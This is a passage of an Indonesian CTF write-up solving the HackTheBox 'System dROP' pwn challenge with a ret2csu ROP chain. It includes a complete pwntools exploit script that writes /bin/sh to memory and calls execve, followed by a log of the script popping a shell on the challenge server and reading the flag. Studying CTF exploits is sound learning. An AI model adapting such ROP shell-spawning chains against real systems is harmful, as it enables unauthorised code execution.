Sebelum itu, kita harus memikirkan terlebih dahulu apa yang harus kita lakukan untuk melewati “proteksi” yang ada dibawah ini. Sebetulnya cukup mudah, pada pop rbx di gadget sebelumnya, kita mengambil value 0 dari stack untuk register rbx dan pada pop rbp, kita mengambil value 1 dari stack untuk register rbp. Sehingga saat terjadi comparison (cmp) antara rbp dan rbx, kita bisa melewati “proteksi” tersebut.

   0x00000000004005bd <+77>:    add    rbx,0x1
   0x00000000004005c1 <+81>:    cmp    rbp,rbx
   0x00000000004005c4 <+84>:    jne    0x4005b0 <__libc_csu_init+64>

Tetapi dikarenakan buffer yang diberikan tidak cukup untuk sekali input, maka penulis memutuskan untuk memasukkan string /bin/sh terlebih dahulu ke dalam suatu memory address. Lalu kembali ke function main(). Dan selanjutnya melakukan ret2csu lagi, untuk mengatur rax menjadi 59 (execve) dan memanggil syscall.

#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib.util.cyclic import cyclic_find

DIR = os.path.dirname(os.path.abspath(__file__))
TARGET=DIR+"/system_drop"
elf = ELF(TARGET)

"""
Helpful Resource:
https://tripoloski1337.github.io/ctf/2020/08/24/ret2csu-ROPEmporium.html
https://pwning.tech/2020/04/13/ret2csu/
https://amriunix.com/post/from-read-glibc-to-rce-x86_64/
"""

def ret2csu(GOT, RDI, RSI, RDX):
    CSU_RET = 0x4005b0 # mov rdx, r15
    
    p = b""
    p += p64(0x0) # rbx
    p += p64(0x1) # rbp

    p += p64(GOT)
    p += p64(RDI) # r13 -> edi (0xFFffFFff)
    p += p64(RSI) # r14 -> rsi
    p += p64(RDX) # r15 -> edx

    p += p64(CSU_RET)
    return p

def exploit(io):
    
    raw_input("Fire GDB")
  
    WRITE_BIN_SH_HERE = 0x601060
    WRITE_DUMMY_HERE = 0x6010c0

    MAIN_ADDRESS = 0x400541
    READ_GOT = 0x601020

    SYSCALL = 0x40053b
    CSU_POP = 0x4005ca

    _FINI = 0x600e48
    RET_GADGET = 0x400416
    POP_RDI = 0x00000000004005d3
    POP_RSI_R15 = 0x00000000004005d1
    
    
    p = b""
    p += b"A" * (cyclic_find(0x6161616b)) # 40

    p += p64(CSU_POP)
    p += ret2csu(READ_GOT, 0, WRITE_BIN_SH_HERE, 8)
    p += p64(RET_GADGET)
    p += ret2csu(_FINI, 0x0, 0x0, 0x0) # for rax 0x3b
    p += p64(0)*7
    p += p64(MAIN_ADDRESS)

    io.sendline(p)
    io.sendline(b"/bin/sh\x00") # input /bin/sh to WRITE_HERE address

    # ========================================

    p = b""
    p += b"A" * cyclic_find(0x61616b61) # 39

    p += p64(CSU_POP)
    p += ret2csu(READ_GOT, 0, WRITE_DUMMY_HERE, 59) # write dummy, with length of byte is 59
    p += p64(RET_GADGET)                            # the purpose is, to get a value of 59 on rax
    p += ret2csu(_FINI, 0x0, 0x0, 0x0)
    p += p64(0)*7
    p += p64(RET_GADGET) # ret -> syscall(rax=59, /bin/sh, 0, 0)
    p += p64(POP_RDI)
    p += p64(WRITE_BIN_SH_HERE)
    p += p64(SYSCALL)
    
    io.sendline(p)
    io.sendline(b"C"*65) # 59 + 6

    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1]=="r":
        REMOTE = True
        io = remote("138.68.182.108", 30496)
    else:
        LOCAL = True
        io = process([TARGET,])
    exploit(io)
    sys.exit(0)

Exploit:

phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED/system_drop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 138.68.182.108 on port 30496: Done
Fire GDB
[*] Switching to interactive mode
$ ls
flag.txt  system_drop
$ cat flag.txt
CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
$  

FLAG : CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}



Tim kami berada di peringkat 298 pada akhir kompetisi. Tentu saja, bukan hasil yang memuaskan dan harus banyak belajar lagi. Mengingat, penulis sendiri hanya bisa mengerjakan 3 dari 5 soal PWN yang diberikan. Tetapi penulis tetap bersyukur, karena bisa menyelesaikan challenge yang jenis soalnya belum pernah penulis kerjakan / temukan.
Maaf jika ada kata-kata atau langkah-langkah yang sulit/tidak bisa dipahami.
InsyaAllah ngepost lagi.